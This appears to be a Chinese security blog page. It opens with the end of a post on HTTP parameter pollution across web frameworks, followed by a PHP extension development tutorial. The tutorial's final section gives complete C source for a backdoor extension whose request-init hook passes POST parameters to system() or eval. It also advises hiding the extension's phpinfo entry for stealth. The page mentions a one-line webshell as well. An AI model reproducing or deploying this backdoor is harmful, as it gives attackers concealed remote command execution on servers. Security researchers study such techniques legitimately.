['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']

可能在这个攻击面上,Python原生提供的方法,确实比较难利用,但是还有很多库和函数没有去测试,我也相信,如果能有一个有趣的数据传输方式,配合python那么多的库和函数,也会有很多很多有趣的攻击方式

Java

其实我在没测试的时候就猜到了结果

测试发现Springboot 存在HPP漏洞,多个url参数会自动拼接 并用,分割,并不会转换类型

原生JSP & Servlet 在这个方面不存在任何漏洞 果然Java严格数据类型还是牛逼(破音

Go

我不会什么Go的框架,只测试了Beego,由于Go的强类型

beego也是提供严格的变量获取方法,调用方法的不同决定了参数的类型

比如GetString 返回字符串 GetInt 返回整形 GetStrings返回字符数组,把url变量相同的放到一个数组中

所以正常来说,Go也是真的很安全的

asp & aspx

测试只发现存在HPP漏洞,多个参数用","分割,不能变为其他数据类型

后话

当然,这些利用方式比较单调,除了node有一定的花样外,其他的都比较单一,但是我们也可把眼光方法放大,除了url传参,还有json,xml

所以大部分情况下,可能接下来的攻击面只能利用在服务端会解析Json数据的情况下,对于Py中的Json数据,我们可以伪造以下数据类型

- Read More -
安全研究

前言

继续分析一些拓展中常见的函数和方法和技巧

phpize

内容来自:https://blog.csdn.net/weixin_38674371/article/details/84714696

应用场景

在使用php的过程中,我们常常需要去添加一些PHP扩展库。但是重新对php进行编译是比较蛮烦的,所以这时候我们可以使用phpize对php进行添加扩展。并且phpize编译的扩展库可以随时启用或停用,比较灵活。

使用方法

extention为要挂载的扩展包

wget extension.tar.gz        #下载相应的扩展包并解压。
cd extension/                        #切换到扩展extension的目录中
/php/bin/phpize                 #运行php安装目录下的phpize文件,这时候会在extension目录下生成相应的configure文件。
/configure --with-php-config=/php/bin/php-config         #运行配置,如果你的服务器上只是装了一个版本的php则不需要添加--with-php-config 。后面的参数只是为了告诉phpize要建立基于哪个版本的扩展。
make && make install         #编译模块
#编译好模块之后,需要让php启用它。在php.ini文件中加入把extension.so开启即可。重启php服务。

作用

其实phpize是一个运行脚本,主要作用是检测php的环境还有就是在特定的目录生成相应的configure文件,这样make install之后,生成的.so文件才会自动加载到php扩展目录下面。

除了phpize安装php拓展,还有一个叫 PECL 的php拓展管理工具http://pecl.php.net/
没用过,先鸽这- -

获取php中函数的参数

之前写的拓展函数在php中是无参函数,如果想写一个含参函数,拓展中肯定有对应API来获取传入参数

zend_parse_parameters

定义

大部分php拓展都会使用这个API获取传入参数
zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, &参数1,&参数2…);
第一个参数是传递给函数的参数个数。通常的做法是使用ZEND_NUM_ARGS()。(ZEND_NUM_ARGS() 来表示对传入的参数“有多少要多少”)这是一个表示传递给函数参数总个数的宏。
第二个参数是为了线程安全,总是传递TSRMLS_CC宏。
第三个参数是一个字符串,指定了函数期望的参数类型,后面紧跟着需要随参数值更新的变量列表。由于PHP是弱类型语言,采用松散的变量定义和动态的类型判断,而c语言是强类型的,而zend_parse_parameters()就是为了把不同类型的参数转化为期望的类型。(当实际的值无法强制转成期望的类型的时候,会发出一个警告)
第四第五直到第n个参数,都是要传进来的值的数值。
注意: 第一个参数和第二个参数之间是空格没有逗号,所以我觉得严格意义上来说应该算一个参数只是两个不同的宏

参数三

对于第三个参数,有以下表格对应

类型指定符对应的C类型描述
llong符号整数
ddouble浮点数
schar *, int二进制字符串,长度
bzend_bool布尔值(1或0)
rzval *资源(文件指针,数据库连接等)
azval *联合数组
ozval *任何类型的对象
Ozval *指定类型的对象。需要提供目标对象的类类型
zzval *无任何操作的zval

举个例子
如果你希望传进来的参数为整数,你可以这么写

zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l",&param);

然后参数就会被赋值到变量param(long 类型)上,有一点点类似C的scanf

注意

这里需要注意,如果希望传入参数为字符串,需要用到s,但是s对应的有两个c变量
这是API的规定,如果需要传入类型字符串的话,即使PHP函数中只传入了一个参数,那么C里面需要用两个C变量去获取,一个获取字符串的值,一个获取字符串的长度

上面的表格提到了zval,通俗易懂的讲,zval代表了一个php变量,是一个php变量的底层模型,实际上是一个联合体。所有的PHP语言中的复合类型参数都需要zval*类型来作为载体,因为它们都是内核自定义的一些数据结构。


如果我们想写一个如下功能的拓展

<?php
function my_function($msg) {
    echo "输出:{$msg}!\n";
}
my_function('<svg/onload=alert(1)>');

在拓展里可以这么写

//PHP_FUNCTION 第一次宏展开后就是ZEND_FUNCTION
//所以PHP_FUNCTION ZEND_FUNCTION几乎是一样的
ZEND_FUNCTION(my_function) {
    char *msg;
    int msg_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s",&msg, &msg_len) == FAILURE){
        RETURN_NULL();
    }
    php_printf("输出:");
    PHPWRITE(msg, msg_len);
    php_printf("!\n");
}

PHPWRITE 顾名思义,看demo就懂了

对于第三个参数,还有一些拓展用法

符号解释
|它之前的参数都是必须的,之后的都是非必须的,也就是有默认值的。
!如果接收了一个PHP语言里的null变量,则直接把其转成C语言里的NULL,而不是封装成IS_NULL类型的zval。
/如果传递过来的变量与别的变量共用一个zval,而且不是引用,则进行强制分离,新的zval的is_refgc==0, and refcountgc==1.

具体就不做太多介绍了,看个例子就好

<?php
function sample_hello_world($name, $greeting='Mr./Ms.') {
    echo "Hello $greeting $name!\n";
}
sample_hello_world('Ginger Rogers','Ms.');
sample_hello_world('Fred Astaire');
ZEND_FUNCTION(sample_hello_world) {
    char *name;
    int name_len;
    char *greeting = "Mr./Mrs.";
    int greeting_len = sizeof("Mr./Mrs.") - 1;
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|s",
      &name, &name_len, &greeting, &greeting_len) == FAILURE) {
        RETURN_NULL();
    }
    php_printf("Hello ");
    PHPWRITE(greeting, greeting_len);
    php_printf(" ");
    PHPWRITE(name, name_len);
    php_printf("!\n");
}

zend_get_arguments

ZEND_FUNCTION(my_function) {
    zval *email;
    if (zend_get_parameters(ZEND_NUM_ARGS(), 1, &email)== FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ... 
}

区别与特点

  1. 能够兼容老版本的PHP,并且只以zval为载体来接收参数。
  2. 直接获取,而不做解析,不会进行类型转换,所有的参数在扩展实现中的载体都需要是zval类型的。
  3. 接受失败的时候,不会自己抛出错误,也不能方便的处理有默认值的参数。
  4. 会自动的把所有符合copy-on-write的zval进行强制分离,生成一个崭新的copy送到函数内部。

这个函数用的比较少,了解下即可

zend_get_parameters_ex

ZEND_FUNCTION(my_function) {
    zval **msg;
    if (zend_get_parameters_ex(1, &msg) == FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ...
}

这个函数跟上面的zend_get_arguments差不太多,只是把所有参数都填到了一个zval数组中,而不需要考虑参数数量,同样了解一下就可以了

zend_get_parameters_array_ex()和zend_get_parameters_array()

//程序首先获取参数数量,然后通过safe_emalloc函数申请了相应大小的内存来存放这些zval**类型的参数。这里使用了zend_get_parameters_array_ex()函数来把传递给函数的参数填充到args中。 
//这个参数专门用于解决像php里面的var_dump的一样,可以无限传参数进去的函数的实现
ZEND_FUNCTION(var_dump) {
    int i, argc = ZEND_NUM_ARGS();
    zval ***args;
    args = (zval ***)safe_emalloc(argc, sizeof(zval **), 0);
    if (ZEND_NUM_ARGS() == 0 || zend_get_parameters_array_ex(argc, args) == FAILURE) {
        efree(args);
        WRONG_PARAM_COUNT;
    }
    for (i=0; i<argc; i++) {
        php_var_dump(args[i], 1 TSRMLS_CC);
    }
    efree(args);
}
  1. 用于应对无限参数的扩展函数的实现。
  2. zend_get_parameters_array与zend_get_parameters_array_ex唯一不同的是它将zval*类型的参数填充到args中,并且需要ZEND_NUM_ARGS()作为参数。

当遇到确实需要处理无限参数的时候,这个函数用的会比较多

获取url参数

zend_hash_str_find

pmarkdown就是获取了url参数,然后拼接到字符串中发起网络请求。
找这个功能找了好久好久,终于给我找到了,找到了还不能直接运行,还要看报错改....
看demo

PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

原理就不了解了,懒得了解了,魔改demo就行了,获取GET的宏为TRACK_VARS_GET,同理POST的宏为TRACK_VARS_POST
其他的宏在/main/php_globals.h 源码包里面都有定义

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

注意新建自定义函数要去上一篇提到的的zend_function_entry 结构体声明函数名
然后把拓展挂载到php.ini
php -S 0.0.0.0:8080

图片.png

图片.png
A.php的内容是一句话木马,密码A。
对于$_ENV $_SERVER这两个超全局变量,貌似默认不存在http_globals数组中,如果需要在扩展中引用,可以参考这篇文章https://blog.csdn.net/linkaisheng101990/article/details/46380673
具体原理就是使用zend_is_auto_global函数,把上面两个变量导入到http_globals全局数组中,再通过上面获取GET,POST那样用相应的宏去获取。
累了,不试了,等有时间再研究研究

逆向

图片.png
没什么好解释的,对比下上面源码

zend_hash_find

当我回去看pmarkdown那道题的时候,发现题目中获取url参数的方法是zend_hash_find而不是zend_hash_find_str
所以我觉得,还是要用zend_hash_find API 获取url参数,这个知识点才能过

贴一个zend API小总结
https://www.jianshu.com/p/32fdad9be6c8
由于网上实在找不到demo,唯一几个demo都是基于php5的,参数数量不对,php7的参数数量应该是两个
根据API,我自己写了个根据zend_hash_find获取url参数的方法

// 根据 char * 作为 key 查找数组
zval* zend_hash_str_find(HashTable *ht, char *str, size_t len);  

// 根据 zend_string * 作为 key 查找数组
zval* zend_hash_find(HashTable *ht, zend_string *key);  

// 格式化成 zend_string *, 使用完记得 zend_string_release
zend_string *strpprintf(size_t max_len, const char *format, ...);

----------------------------
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

所以用zend_hash_find,只需要把字符串通过strpprintf API格式化为zend_string传入就行了
图片.png

逆向

跟上面没什么区别。。。
图片.png
感觉有些东西还是需要动调,之后弄个动调的教程

写个后门?

既然是后门,肯定不能用自定义函数写,必须写在之前讲的PHP_RINIT_FUNCTION 函数中

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
    
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
    
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
    
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}

整个C文件也放这

/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) 1997-2018 The PHP Group                                |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author:                                                              |
  +----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "unistd.h"
#include "php_evoA.h"

/* If you declare any globals in php_evoA.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(evoA)
*/

/* True global resources - no need for thread safety here */
static int le_evoA;

/* {{{ PHP_INI
 */
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
    STD_PHP_INI_ENTRY("evoA.global_value",      "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_evoA_globals, evoA_globals)
    STD_PHP_INI_ENTRY("evoA.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_evoA_globals, evoA_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
   so that your module can be compiled into PHP, it exists only for testing
   purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_evoA_compiled(string arg)
   Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_evoA_compiled)
{
    char *arg = NULL;
    size_t arg_len, len;
    zend_string *strg;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }

    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "evoA", arg);

    RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
   unfold functions in source code. See the corresponding marks just before
   function definition, where the functions purpose is also documented. Please
   follow this convention for the convenience of others editing your code.
*/
PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
/* {{{ php_evoA_init_globals
 */
/* Uncomment this function if you have INI entries
static void php_evoA_init_globals(zend_evoA_globals *evoA_globals)
{
    evoA_globals->global_value = 0;
    evoA_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
 */
PHP_MINIT_FUNCTION(evoA)
{
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MINIT_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
 */
PHP_MSHUTDOWN_FUNCTION(evoA)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
 */

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
 */
PHP_RSHUTDOWN_FUNCTION(evoA)
{
    //php_printf("PHP_RSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(evoA)
{
    php_info_print_table_start();
    php_info_print_table_header(2, "evoA support", "enabled");
    php_info_print_table_end();

    /* Remove comments if you have entries in php.ini
    DISPLAY_INI_ENTRIES();
    */
}
/* }}} */

/* {{{ evoA_functions[]
 *
 * Every user visible function must have an entry in evoA_functions[].
 */
const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE(evoA_get, NULL)
    PHP_FE(evoA_post, NULL)
    PHP_FE(evoA_hash_get, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};
/* }}} */

/* {{{ evoA_module_entry
 */
zend_module_entry evoA_module_entry = {
    STANDARD_MODULE_HEADER,
    "evoA",
    evoA_functions,
    PHP_MINIT(evoA),
    PHP_MSHUTDOWN(evoA),
    PHP_RINIT(evoA),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(evoA),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(evoA),
    PHP_EVOA_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_EVOA
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(evoA)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */

上面的PHP_MINFO_FUNCTION 函数作用是拓展在phpinfo中输出拓展信息,可以把中间的代码注释掉让后门更隐蔽。

eval

图片.png

system(暂时没有回显,还没有好的解决方案)

图片.png
图片.png

至于php拓展获取php.ini, 生成返回值,获取全局变量等内容先鸽了,有时间再写
下次就先写vscode 和 gdb的动态调试吧(flag

参考

https://www.freebuf.com/articles/web/179713.html
http://www.vuln.cn/7045
https://www.jianshu.com/p/32fdad9be6c8
https://blog.csdn.net/mos2046/article/details/7697773 //php7不支持
https://blog.csdn.net/linkaisheng101990/article/details/46380673
https://blog.csdn.net/u011957758/article/details/72513935

- Read More -
This is just a placeholder img.